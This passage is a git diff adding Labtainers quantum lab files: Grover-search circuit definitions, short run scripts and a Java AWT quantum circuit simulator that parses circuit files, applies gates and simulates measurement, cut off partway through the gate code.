b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/quantum/quantum/grover0x6 new file mode 100644 index 000000000..3501d394a --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/quantum/quantum/grover0x6 @@ -0,0 +1,43 @@ +Define N 4 # This is a 4-qubit system +Define U 16 +1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 +0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 +0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 +0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 +0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 +0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 +0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 +0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 +0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 +0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 +0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 +0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 +0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 +0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 +0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 +0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 +Define V 8 +-0.75 0.25 0.25 0.25 0.25 0.25 0.25 0.25 +0.25 -0.75 0.25 0.25 0.25 0.25 0.25 0.25 +0.25 0.25 -0.75 0.25 0.25 0.25 0.25 0.25 +0.25 0.25 0.25 -0.75 0.25 0.25 0.25 0.25 +0.25 0.25 0.25 0.25 -0.75 0.25 0.25 0.25 +0.25 0.25 0.25 0.25 0.25 -0.75 0.25 0.25 +0.25 0.25 0.25 0.25 0.25 0.25 -0.75 0.25 +0.25 0.25 0.25 0.25 0.25 0.25 0.25 -0.75 +Define Phi0 +0 0 0 1 +Define Transform1 +H H H I +Define Transform2 +I I I H +Define Transform3 +U +Define Transform4 +V I +Define Transform5 +U +Define Transform5 +V I +Define Transform6 +M M M I diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/quantum/quantum/grover0x7 b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/quantum/quantum/grover0x7 new file mode 100644 index 000000000..d33ead201 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/quantum/quantum/grover0x7 @@ -0,0 +1,43 @@ +Define N 4 # This is a 4-qubit system +Define U 16 +1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 +0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 +0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 +0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 +0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 +0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 +0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 +0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 +0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 +0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 +0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 +0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 +0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 +0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 +0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 +0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 +Define V 8 +-0.75 0.25 0.25 0.25 0.25 0.25 0.25 0.25 +0.25 -0.75 0.25 0.25 0.25 0.25 0.25 0.25 +0.25 0.25 -0.75 0.25 0.25 0.25 0.25 0.25 +0.25 0.25 0.25 -0.75 0.25 0.25 0.25 0.25 +0.25 0.25 0.25 0.25 -0.75 0.25 0.25 0.25 +0.25 0.25 0.25 0.25 0.25 -0.75 0.25 0.25 +0.25 0.25 0.25 0.25 0.25 0.25 -0.75 0.25 +0.25 0.25 0.25 0.25 0.25 0.25 0.25 -0.75 +Define Phi0 +0 0 0 1 +Define Transform1 +H H H I +Define Transform2 +I I I H +Define Transform3 +U +Define Transform4 +V I +Define Transform5 +U +Define Transform5 +V I +Define Transform6 +M M M I diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/quantum/quantum/run_grover.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/quantum/quantum/run_grover.sh new file mode 100755 index 000000000..9d187c049 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/quantum/quantum/run_grover.sh @@ -0,0 +1 @@ +java simulator groverSECRET2_VALUE diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/quantum/quantum/run_teleportation.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/quantum/quantum/run_teleportation.sh new file mode 100755 index 000000000..83394739e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/quantum/quantum/run_teleportation.sh @@ -0,0 +1 @@ +java simulator teleportation diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/quantum/quantum/simulator.java b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/quantum/quantum/simulator.java new file mode 100644 index 000000000..92a06d258 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/quantum/quantum/simulator.java @@ -0,0 +1,1398 @@ +import java.io.*; +import java.awt.*; +import java.awt.event.*; +import java.util.*; + +class Complex +{ + double real; + double imaginary; + + public Complex(double r, double i) + { + real = r; + imaginary = i; + } + + public void assign(double r, double i) + { + real = r; + imaginary = i; + return; + } + + public void assign(Complex c) + { + real = c.getReal(); + imaginary = c.getImaginary(); + return; + } + + public void add(Complex comp) + { + double a = real; + double b = imaginary; + double c = comp.getReal(); + double d = comp.getImaginary(); + real = a+c; + imaginary = b+d; + return; + } + + public void subtract(Complex comp) + { + double a = real; + double b = imaginary; + double c = comp.getReal(); + double d = comp.getImaginary(); + real = a-c; + imaginary = b-d; + return; + } + + public void multiply(Complex comp) + { + double a = real; + double b = imaginary; + double c = comp.getReal(); + double d = comp.getImaginary(); + real = a*c-b*d; + imaginary = b*c+a*d; + return; + } + + public void divide(Complex comp) + { + double a = real; + double b = imaginary; + double c = comp.getReal(); + double d = comp.getImaginary(); + double denominator = c*c+d*d; + real = (a*c+b*d)/denominator; + imaginary = (b*c-a*d)/denominator; + return; + } + + public void scale(double factor) + { + double a = real; + double b = imaginary; + real = a*factor; + imaginary = b*factor; + return; + } + + public double getReal() + { + return real; + } + + public double getImaginary() + { + return imaginary; + } +} + +class Matrix +{ + int m_w, m_h; + Complex[][] m; + + public Matrix(int w, int h) + { + m_w = w; + m_h = h; + m = new Complex[h][w]; + for (int i = 0; i < h; i++) { + for (int j = 0; j < w; j++) { + m[i][j] = new Complex(0.0,0.0); + } + } + } + + public void assign(int r, int c, Complex complex) + { + m[r][c].assign(complex); + } + + public void assign(int r, int c, double real, double imaginary) + { + m[r][c].assign(real, imaginary); + } + + public Complex getValue(int r, int c) + { + return m[r][c]; + } + + public int getWidth() + { + return m_w; + } + + public int getHeight() + { + return m_h; + } + + public static Matrix combine(Matrix m1, Matrix m2) + { + Matrix m3 = new Matrix(m1.getWidth()*m2.getWidth(), + m1.getHeight()*m2.getHeight()); + for (int i = 0; i < m1.getWidth(); i++) { + for (int j = 0; j < m1.getHeight(); j++) { + for (int k = 0; k < m2.getWidth(); k++) { + for (int l = 0; l < m2.getHeight(); l++) { + Complex c = m3.getValue(j*m2.getHeight()+l,i*m2.getWidth()+k); + c.assign(m1.getValue(j,i)); + c.multiply(m2.getValue(l,k)); + } + } + } + } + return m3; + } + + public static Matrix multiply(Matrix m1, Matrix m2) + { + Matrix m3 = new Matrix(m2.getWidth(),m1.getHeight()); + if (m1.getWidth() != m2.getHeight()) { + System.err.println("Cannot multiply incompatible matrices."); + System.err.println("Have a nice day."); + System.exit(1); + } + for (int i = 0; i < m1.getHeight(); i++) { + for (int j = 0; j < m2.getWidth(); j++) { + Complex sum = m3.getValue(i,j); + sum.assign(0.0,0.0); + for (int k = 0; k < m1.getWidth(); k++) { + double a_real = m1.getValue(i,k).getReal(); + double a_imaginary = m1.getValue(i,k).getImaginary(); + double b_real = m2.getValue(k,j).getReal(); + double b_imaginary = m2.getValue(k,j).getImaginary(); + // Multiply a and b + double R = a_real * b_real - a_imaginary * b_imaginary; + double I = a_imaginary * b_real + a_real * b_imaginary; + // Add the product to sum + double s_r = sum.getReal(); + double s_i = sum.getImaginary(); + sum.assign(R+s_r,I+s_i); + } + } + } + return m3; + } + + public String print() + { + return print(true); + } + + public String print(boolean ket) + { + String s = ""; + for (int row = 0; row < m_h; row++) { + if (ket == true) + s += "|" + row + "> "; + for (int col = 0; col < m_w; col++) { + //s += "" + m[row][col].getReal()+" "; + s += "" + m[row][col].getReal()+"+"+m[row][col].getImaginary()+"i "; + } + s += "\n"; + } + return s; + } + + public String printNonzero() + { + String s = ""; + for (int row = 0; row < m_h; row++) { + boolean entirerowiszero = true; + for (int col = 0; col < m_w; col++) { + double real = m[row][col].getReal(); + double complex = m[row][col].getImaginary(); + if (real != 0.0 || complex != 0.0) { + entirerowiszero = false; + if (col == 0) { + s += "|" + row + "> "; + } + s += "" + m[row][col].getReal()+"+"+m[row][col].getImaginary()+"i "; + } + } + if (!entirerowiszero) { + s += "\n"; + } + } + return s; + } +} + +class qpanel extends Panel +{ + int m_w; + int m_h; + int m_n; + int m_step; + Matrix m_U; + Matrix m_V; + Vector m_phi0; + Vector m_transforms; + + public qpanel(int width, int height) + { + m_step = 0; + m_w=width; + m_h=height; + } + + public void setCircuitParameters(int n, Matrix U, Matrix V, Vector phi0, Vector transforms) + { + m_n = n; + m_U = U; + m_V = V; + m_phi0 = phi0; + m_transforms = transforms; + } + + public Dimension getMinimumSize() + { + return new Dimension(m_w,m_h); + } + + public Dimension getPreferredSize() + { + return new Dimension(m_w,m_h); + } + + public void setStep(int step) + { + m_step = step; + } + + public void paint(Graphics g) + { + g.setColor(Color.black); + g.fillRect(0,0,m_w,m_h); + g.setColor(Color.red); + g.drawLine(100 + m_step * 100, 0, 100 + m_step * 100, m_h); + g.setColor(Color.white); + for (int i = 0; i < m_phi0.size(); i++) { + Integer I = (Integer)m_phi0.elementAt(i); + g.drawString("|"+I.intValue()+">",50,100 + 100*i); + } + for (int i = 0; i < m_transforms.size(); i++) { + Vector v = (Vector)m_transforms.elementAt(i); + int offset = 0; + for (int j = 0; j < v.size(); j++) { + String s = (String)v.elementAt(j); + if (s.compareTo("I") == 0) { + g.drawLine(100 + i * 100, 90 + (j+offset) * 100, 200 + i * 100, 90 + (j+offset) * 100); + } else if (s.compareTo("U") == 0) { + g.drawRect(110 + i * 100, 50 + j * 100, 80, 100*m_n-20); + g.drawString(s, 150 + i * 100, 40 + m_n * 50); + for (int k = 0; k < m_n; k++) { + g.drawLine(100 + i * 100, 90 + k * 100, 110 + i * 100, 90 + k * 100); + g.drawLine(190 + i * 100, 90 + k * 100, 200 + i * 100, 90 + k * 100); + } + offset += m_n; + } else if (s.compareTo("CNOT") == 0) { + g.drawRect(110 + i * 100, 50 + (j+offset) * 100, 80, 100*2-20); + g.drawString(s, 130 + i * 100, 140 + (j+offset) * 100); + for (int k = 0; k < 2; k++) { + g.drawLine(100 + i * 100, 90 + (j+offset+k) * 100, 110 + i * 100, 90 + (j+offset+k) * 100); + g.drawLine(190 + i * 100, 90 + (j+offset+k) * 100, 200 + i * 100, 90 + (j+offset+k) * 100); + } + offset += 1; + } else if (s.compareTo("V") == 0) { + g.drawRect(110 + i * 100, 50 + (j+offset) * 100, 80, 100*log2(m_V.getHeight())-20); + g.drawString(s, 150 + i * 100, 40 + (j+offset+log2(m_V.getHeight())) * 50); + for (int k = 0; k < log2(m_V.getHeight()); k++) { + g.drawLine(100 + i * 100, 90 + (j+offset+k) * 100, 110 + i * 100, 90 + (j+offset+k) * 100); + g.drawLine(190 + i * 100, 90 + (j+offset+k) * 100, 200 + i * 100, 90 + (j+offset+k) * 100); + } + offset += log2(m_V.getHeight()) - 1; + } else if (s.compareTo("Control") == 0) { + g.drawRect(110 + i * 100, 50 + (j+offset) * 100, 80, 80); + g.drawString(s, 130 + i * 100, 100 + (j+offset) * 100); + g.drawLine(100 + i * 100, 90 + (j+offset) * 100, 110 + i * 100, 90 + (j+offset) * 100); + g.drawLine(190 + i * 100, 90 + (j+offset) * 100, 200 + i * 100, 90 + (j+offset) * 100); + } else if (s.compareTo("Target") == 0 || s.compareTo("UCSP1") == 0 || s.compareTo("UCSP2") == 0 || s.compareTo("UCTP1") == 0 || s.compareTo("UCTP2") == 0 || s.compareTo("UCR41") == 0 || s.compareTo("UCR4P1") == 0 || s.compareTo("UCR42") == 0 || s.compareTo("UCR4P2") == 0) { + g.drawRect(110 + i * 100, 50 + (j+offset) * 100, 80, 80); + g.drawString(s, 130 + i * 100, 100 + (j+offset) * 100); + g.drawLine(100 + i * 100, 90 + (j+offset) * 100, 110 + i * 100, 90 + (j+offset) * 100); + g.drawLine(190 + i * 100, 90 + (j+offset) * 100, 200 + i * 100, 90 + (j+offset) * 100); + } else if (s.compareTo("UT1") == 0 || s.compareTo("UT2") == 0 || s.compareTo("UT3") == 0) { + g.drawRect(110 + i * 100, 50 + (j+offset) * 100, 80, 80); + g.drawString(s, 140 + i * 100, 100 + (j+offset) * 100); + g.drawLine(100 + i * 100, 90 + (j+offset) * 100, 110 + i * 100, 90 + (j+offset) * 100); + g.drawLine(190 + i * 100, 90 + (j+offset) * 100, 200 + i * 100, 90 + (j+offset) * 100); + } else if (s.compareTo("UCS1") == 0 || s.compareTo("UCS2") == 0 || s.compareTo("UCT1") == 0 || s.compareTo("UCT2") == 0 || s.compareTo("CTP1") == 0 || s.compareTo("CTP2") == 0 || s.compareTo("CSP1") == 0 || s.compareTo("CSP2") == 0) { + g.drawRect(110 + i * 100, 50 + (j+offset) * 100, 80, 80); + g.drawString(s, 135 + i * 100, 100 + (j+offset) * 100); + g.drawLine(100 + i * 100, 90 + (j+offset) * 100, 110 + i * 100, 90 + (j+offset) * 100); + g.drawLine(190 + i * 100, 90 + (j+offset) * 100, 200 + i * 100, 90 + (j+offset) * 100); + } else if (s.compareTo("CS1") == 0 || s.compareTo("CS2") == 0 || s.compareTo("CT1") == 0 || s.compareTo("CT2") == 0) { + g.drawRect(110 + i * 100, 50 + (j+offset) * 100, 80, 80); + g.drawString(s, 140 + i * 100, 100 + (j+offset) * 100); + g.drawLine(100 + i * 100, 90 + (j+offset) * 100, 110 + i * 100, 90 + (j+offset) * 100); + g.drawLine(190 + i * 100, 90 + (j+offset) * 100, 200 + i * 100, 90 + (j+offset) * 100); + } else if (s.compareTo("T1") == 0 || s.compareTo("T2") == 0 || s.compareTo("T3") == 0) { + g.drawRect(110 + i * 100, 50 + (j+offset) * 100, 80, 80); + g.drawString(s, 145 + i * 100, 100 + (j+offset) * 100); + g.drawLine(100 + i * 100, 90 + (j+offset) * 100, 110 + i * 100, 90 + (j+offset) * 100); + g.drawLine(190 + i * 100, 90 + (j+offset) * 100, 200 + i * 100, 90 + (j+offset) * 100); + } else if (s.compareTo("S1") == 0 || s.compareTo("S2") == 0) { + g.drawRect(110 + i * 100, 50 + (j+offset) * 100, 80, 80); + g.drawString(s, 145 + i * 100, 100 + (j+offset) * 100); + g.drawLine(100 + i * 100, 90 + (j+offset) * 100, 110 + i * 100, 90 + (j+offset) * 100); + g.drawLine(190 + i * 100, 90 + (j+offset) * 100, 200 + i * 100, 90 + (j+offset) * 100); + } else { + g.drawRect(110 + i * 100, 50 + (j+offset) * 100, 80, 80); + g.drawString(s, 150 + i * 100, 100 + (j+offset) * 100); + g.drawLine(100 + i * 100, 90 + (j+offset) * 100, 110 + i * 100, 90 + (j+offset) * 100); + g.drawLine(190 + i * 100, 90 + (j+offset) * 100, 200 + i * 100, 90 + (j+offset) * 100); + } + } + } + } + + public int log2(int a) + { + int i = 0; + for (int q = 1; q < a; i++, q *= 2); + return i; + } +} + +class qframe extends Frame implements MouseListener, ItemListener, ActionListener +{ + int m_x, m_y; + TextArea m_ta; + Label m_labelStep; + Button m_buttonStep; + Button m_buttonAuto; + qpanel m_p; + ScrollPane m_sp; + String m_fn; + int m_fileNumber; + Matrix m_U; + Matrix m_V = null; + Vector m_phi0; + Vector m_transforms; + Matrix m_currentPhi; + Matrix m_measured; + Matrix m_measurements; + int m_n; + int m_step; + + public qframe(String fn) + { + addWindowListener(new WindowAdapter(){ + public void windowClosing(WindowEvent e){ + dispose(); + } + }); + m_fn = fn; + m_fileNumber=0; + m_step = 0; + setSize(1100, 750); + setBackground(Color.white); + setLayout(null); + m_labelStep = new Label("Proceed to next step"); + m_ta = new TextArea("", 100, 100, TextArea.SCROLLBARS_BOTH); + m_labelStep.setBounds(0, 400, 512, 20); + m_buttonStep = new Button("Next"); + m_buttonStep.setBounds(10, 420, 100, 20); + m_buttonStep.addActionListener(this); + m_buttonAuto = new Button("Auto"); + m_buttonAuto.setBounds(120, 420, 100, 20); + m_buttonAuto.addActionListener(this); + m_sp = new ScrollPane(ScrollPane.SCROLLBARS_ALWAYS); + m_p = new qpanel(1700,1700); + m_p.addMouseListener(this); + m_sp.setSize(1024, 400); + m_sp.add(m_p); + m_ta.setBounds(512, 420, 512, 300); + m_ta.setText(""); + add(m_sp); + add(m_ta); + add(m_labelStep); + add(m_buttonStep); + add(m_buttonAuto); + setTitle("Simple Quantum Circuit Simulator"); + parse(m_fn); + initializePhi(); + initializeMeasured(); + } + + public void parse(String fn) + { + m_transforms = new Vector(); + BufferedReader br = null; + try { + br = new BufferedReader(new FileReader(fn)); + } catch (Exception e) { + handleEx(e); + } + while (true) { + String s = ""; + try { s = br.readLine(); } catch (Exception e) { handleEx(e); } + if (s == null) break; + int index = s.indexOf("#"); + if (index != -1) { + s = s.substring(0, index); + } + m_ta.append(s+"\n"); + if (s.indexOf("Define N ") == 0) { + int n = 0; + String N = ""; + for (int i = 9; i < s.length(); i++) { + if (Character.isDigit(s.charAt(i))) { + N += s.charAt(i); + } + } + try { + n = Integer.parseInt(N); + } catch (Exception e) { handleEx(e); } + m_n = n; + } else if (s.indexOf("Define Phi0") == 0) { + m_phi0 = new Vector(); + try { s = br.readLine(); } catch (Exception e) { handleEx(e); } + if (s == null) break; + index = s.indexOf("#"); + if (index != -1) { + s = s.substring(0, index); + } + m_ta.append(s+"\n"); + int count = 0; + for (int j = 0; j < m_n; j++) { + String ELEM = ""; + int elem = 0; + while (count < s.length() && !Character.isDigit(s.charAt(count))) { + count++; + } + while (count < s.length() && Character.isDigit(s.charAt(count))) { + ELEM += s.charAt(count); + count++; + } + try { + elem = Integer.parseInt(ELEM); + m_phi0.add(new Integer(elem)); + } catch (Exception e) { handleEx(e); } + } + //printPhi(m_phi0); + } else if (s.indexOf("Define Transform") == 0) { + Vector transform = new Vector(); + try { s = br.readLine(); } catch (Exception e) { handleEx(e); } + if (s == null) break; + index = s.indexOf("#"); + if (index != -1) { + s = s.substring(0, index); + } + m_ta.append(s+"\n"); + int count = 0; + for (int j = 0; j < m_n && count < s.length(); j++) { + String ELEM = ""; + while (count < s.length() && !Character.isDigit(s.charAt(count)) && !Character.isLetter(s.charAt(count))) { + count++; + } + while (count < s.length() && (Character.isDigit(s.charAt(count)) || Character.isLetter(s.charAt(count)))) { + ELEM += s.charAt(count); + count++; + } + if (ELEM.compareTo("") != 0) + transform.add(new String(ELEM)); + if (s.indexOf("U") == 0 && s.indexOf("T") != 1 && s.indexOf("C") != 1) break; + } + m_transforms.add(transform); + } else if (s.indexOf("Define U ") == 0) { + int dim = 0; + String DIM = ""; + for (int i = 9; i < s.length(); i++) { + if (Character.isDigit(s.charAt(i))) { + DIM += s.charAt(i); + } + } + try { + dim = Integer.parseInt(DIM); + } catch (Exception e) { handleEx(e); } + m_U = new Matrix(dim,dim); + for (int i = 0; i < dim; i++) { + try { + s = br.readLine(); + } catch (Exception e) { handleEx(e); } + if (s == null) { + System.err.println("Malformed input file."); + System.exit(1); + } + index = s.indexOf("#"); + if (index != -1) { + s = s.substring(0, index); + } + m_ta.append(s+"\n"); + int count = 0; + for (int j = 0; j < dim; j++) { + String ELEM = ""; + int elem = 0; + while (count < s.length() && !Character.isDigit(s.charAt(count))) { + count++; + } + while (count < s.length() && Character.isDigit(s.charAt(count))) { + ELEM += s.charAt(count); + count++; + } + try { + elem = Integer.parseInt(ELEM); + m_U.assign(i,j,elem,0.0); + } catch (Exception e) { handleEx(e); } + } + } + } else if (s.indexOf("Define V ") == 0) { + int dim = 0; + String DIM = ""; + for (int i = 9; i < s.length(); i++) { + if (Character.isDigit(s.charAt(i))) { + DIM += s.charAt(i); + } + } + try { + dim = Integer.parseInt(DIM); + } catch (Exception e) { handleEx(e); } + m_V = new Matrix(dim,dim); + for (int i = 0; i < dim; i++) { + try { + s = br.readLine(); + } catch (Exception e) { handleEx(e); } + if (s == null) { + System.err.println("Malformed input file."); + System.exit(1); + } + index = s.indexOf("#"); + if (index != -1) { + s = s.substring(0, index); + } + m_ta.append(s+"\n"); + int count = 0; + for (int j = 0; j < dim; j++) { + String ELEM = ""; + double elem = 0; + while (count < s.length() && !Character.isDigit(s.charAt(count)) && s.charAt(count) != '-' && s.charAt(count) != '.') { + count++; + } + while (count < s.length() && (Character.isDigit(s.charAt(count)) || s.charAt(count) == '-' || s.charAt(count) == '.')) { + ELEM += s.charAt(count); + count++; + } + try { + elem = Double.parseDouble(ELEM); + m_V.assign(i,j,elem,0.0); + } catch (Exception e) { handleEx(e); } + } + } + } else { + System.err.println("Malformed input file."); + System.err.println("Have a nice day."); + System.exit(1); + } + } + try { br.close(); } catch (Exception e) { handleEx(e); } + //if (m_U != null) + //System.out.print(m_U.print()); + //if (m_V != null) + //System.out.print(m_V.print()); + //printTransforms(m_transforms); + m_p.setCircuitParameters(m_n, m_U, m_V, m_phi0, m_transforms); + int dim = (int)Math.pow(2.0,(double)m_n); + m_currentPhi = new Matrix(1,dim); + m_measured = new Matrix(1,dim); + m_measurements = new Matrix(1,dim); + return; + } + + public void printU(Vector U) + { + for (int i = 0; i < U.size(); i++) { + Vector v = (Vector)U.elementAt(i); + for (int j = 0; j < v.size(); j++) { + Integer I = (Integer)v.elementAt(j); + System.out.print(""+I.intValue()+" "); + } + System.out.println(); + } + } + + public void printTransforms(Vector transforms) + { + for (int i = 0; i < transforms.size(); i++) { + Vector v = (Vector)transforms.elementAt(i); + for (int j = 0; j < v.size(); j++) { + String s = (String)v.elementAt(j); + System.out.print(s+" "); + } + System.out.println(); + } + } + + public void printPhi(Vector phi) + { + for (int i = 0; i < phi.size(); i++) { + Integer I = (Integer)phi.elementAt(i); + System.out.print("|"+i+"> "+I.intValue()+" "); + } + System.out.println(); + } + + public void paint(Graphics g) + { + drawQubits(g); + } + + public void drawQubits(Graphics g) + { + g.setColor(Color.black); + g.fillRect(3, 448, 504, 244); + for (int i = 0; i < m_currentPhi.getHeight(); i++) { + double real = m_currentPhi.getValue(i,0).getReal(); + if (real >= 0.0) { + g.setColor(Color.cyan); + } else { + g.setColor(Color.magenta); + real = -real; + } + double xrange = (double)m_currentPhi.getHeight(); + double yrange = 1.0; + double x = (double)i/xrange * 500.0; + double h = real/yrange * 240.0; + double w = 500.0/xrange; + if (w < 1) w = 1; + g.fillRect((int)x+5,450,(int)w,(int)h); + double imaginary = m_currentPhi.getValue(i,0).getImaginary(); + if (imaginary >= 0.0) { + g.setColor(Color.blue); + } else { + g.setColor(Color.red); + imaginary = -imaginary; + } + xrange = (double)m_currentPhi.getHeight(); + yrange = 1.0; + int realheight = (int)h; + x = (double)i/xrange * 500.0; + h = imaginary/yrange * 240.0; + w = 500.0/xrange; + g.fillRect((int)x+5,450+realheight,(int)w,(int)h); + } + } + + public void handleEx(Exception e) { + System.err.println("" + e); + e.printStackTrace(); + } + + public void setPosition(int x, int y) + { + //System.out.println(""+x+" "+y); + updatePanel(); + } + + void updatePanel() { + m_p.repaint(); + } + + public void itemStateChanged(ItemEvent e) + { + updatePanel(); + repaint(); + } + + public void initializeMeasured() + { + for (int i = 0; i < m_measured.getHeight(); i++) { + m_measured.assign(i,0,0.0,0.0); + m_measurements.assign(i,0,0.0,0.0); + } + } + + public void initializePhi() + { + Vector matrices = new Vector(); + for (int i = 0; i < m_phi0.size(); i++) { + Integer I = (Integer)m_phi0.elementAt(i); + Matrix m = new Matrix(1,2); + if (I == 0) { + m.assign(0,0,1.0,0.0); + m.assign(1,0,0.0,0.0); + matrices.add(m); + } else if (I == 1) { + m.assign(0,0,0.0,0.0); + m.assign(1,0,1.0,0.0); + matrices.add(m); + } else { + System.err.println("Qubits can initially be only 0 or 1."); + System.err.println("Have a nice day."); + System.exit(1); + } + } + while (matrices.size() > 1) { + Matrix m1 = (Matrix)matrices.elementAt(0); + Matrix m2 = (Matrix)matrices.elementAt(1); + Matrix bigmatrix = Matrix.combine(m1,m2); + matrices.setElementAt(bigmatrix,0); + matrices.removeElementAt(1); + } + m_currentPhi=(Matrix)matrices.elementAt(0); + matrices = new Vector(); + m_ta.setText(m_currentPhi.printNonzero()); + } + + public int log2(int a) + { + int i = 0; + for (int q = 1; q < a; i++, q *= 2); + return i; + } + + public void measure(int qubit) + { + double a = 0.0; + double b = 0.0; + int numqubits = log2(m_currentPhi.getHeight()); + int shift = numqubits-1-qubit; + //System.err.println("Now measuring qubit "+qubit+" of "+numqubits); + //System.err.println("Shift="+shift); + for (int i = 0; i < m_currentPhi.getHeight(); i++) { + double v = m_currentPhi.getValue(i,0).getReal(); + double w = m_currentPhi.getValue(i,0).getImaginary(); + if (((i >> shift) & 1) == 0) + a += v * v + w * w; + else if (((i >> shift) & 1) == 1) + b += v * v + w * w; + else { + System.err.println("Whoa, nellie!"); + System.exit(1); + } + //System.out.println(""+m_currentPhi.getValue(i,0)+"a="+a+"b="+b); + } + double d = Math.random(); + //System.out.println("d="+d); + //System.err.println("a="+a+"b="+b); + if (d < a) { + System.out.println("Qubit "+qubit+" measured as 0"); + m_measurements.assign(qubit,0,0.0,0.0); + } else { + System.out.println("Qubit "+qubit+" measured as 1"); + m_measurements.assign(qubit,0,1.0,0.0); + } + m_measured.assign(qubit,0,1.0,0.0); + //System.out.println("Measurements:"); + //for (int i = 0; i < m_measurements.getHeight(); i++) { + //if (m_measured.getValue(i,0).getReal() == 1.0) + //System.out.println(""+i+":"+m_measurements.getValue(i,0).getReal()); + //} + + double B = 0.0; + for (int i = 0; i < m_currentPhi.getHeight(); i++) { + double v = m_currentPhi.getValue(i,0).getReal(); + double w = m_currentPhi.getValue(i,0).getImaginary(); + int bit = (i >> shift) & 1; + if (bit == 0 && d < a) + B += v * v + w * w; + if (bit == 1 && d > a) + B += v * v + w * w; + //System.out.print("B="+B); + } + //System.out.println(); + + for (int i = 0; i < m_currentPhi.getHeight(); i++) { + double v = m_currentPhi.getValue(i,0).getReal(); + double w = m_currentPhi.getValue(i,0).getImaginary(); + int bit = (i >> shift) & 1; + //System.out.println("i="+i+":"+bit+":"+d+":"+a); + if (bit == 0 && d > a) + m_currentPhi.assign(i,0,0.0,0.0); + else if (bit == 1 && d < a) + m_currentPhi.assign(i,0,0.0,0.0); + else + m_currentPhi.assign(i,0,v*Math.sqrt(1.0/B),w*Math.sqrt(1.0/B)); + } + //System.err.println(m_currentPhi.print()); + } + + public void calculateNextPhi(boolean bTrace) + { + int dim = (int)Math.pow(2.0,(double)m_n); + Matrix nextPhi = new Matrix(dim,1); + Vector matrices = new Vector(); + Vector v = (Vector)m_transforms.elementAt(m_step-1); + int start = -1; + int ut1 = -1; + int ut2 = -1; + int t1 = -1; + int t2 = -1; + int s1 = -1; + int cs1 = -1; + int ucs1 = -1; + int ct1 = -1; + int uct1 = -1; + int csp1 = -1; + int ucsp1 = -1; + int ctp1 = -1; + int uctp1 = -1; + int ucr41 = -1; + int ucr4p1 = -1; + + for (int k = 0; k < v.size(); k++) { + String s = (String)v.elementAt(k); + if (s.compareTo("S") == 0) { + Matrix m = new Matrix(2,2); + m.assign(0,0,1.0,0.0); + m.assign(0,1,0.0,0.0); + m.assign(1,0,0.0,0.0); + m.assign(1,1,0.0,1.0); + matrices.add(m); + } else if (s.compareTo("T") == 0) { + Matrix m = new Matrix(2,2); + m.assign(0,0,1.0,0.0); + m.assign(0,1,0.0,0.0); + m.assign(1,0,0.0,0.0); + m.assign(1,1,0.707107,0.707107); + matrices.add(m); + } else if (s.compareTo("S1") ==0) { + s1 = k; + } else if (s.compareTo("S2") == 0) { + int d1 = k - s1 + 1; + int d2 = (int)Math.pow(2.0,(double)d1); + Matrix m = new Matrix(d2,d2); + for (int i = 0; i < d2; i++) { + for (int j = 0; j < d2; j++) { + m.assign(i,j,0.0,0.0); + } + } + for (int i = 0; i < d2; i++) { + int before = i; + int after = i; + int b = i & 1; + int a = ((i >> (d1-1)) & 1); + after = 0; + after |= a; + after |= b << (d1-1); + for (int j = 1; j < d1-1; j++) { + int middlebit = (before >> j) & 1; + after |= middlebit << j; + } + m.assign(after,before,1.0,0.0); + } + matrices.add(m); + s1 = -1; + } else if (s.compareTo("CS1") == 0) { + cs1 = k; + } else if (s.compareTo("CS2") == 0) { + int d1 = k - cs1 + 1; + int d2 = (int)Math.pow(2.0,(double)d1); + Matrix m = new Matrix(d2,d2); + for (int i = 0; i < d2; i++) { + for (int j = 0; j < d2; j++) { + m.assign(i,j,0.0,0.0); + } + } + for (int i = 0; i < d2; i++) { + int before = i; + int after = i; + int c = ((i >> (d1-1)) & 1); + int t = i & 1; + after = before; + if (c == 1 && t == 1) + m.assign(after,before,0.0,1.0); + else + 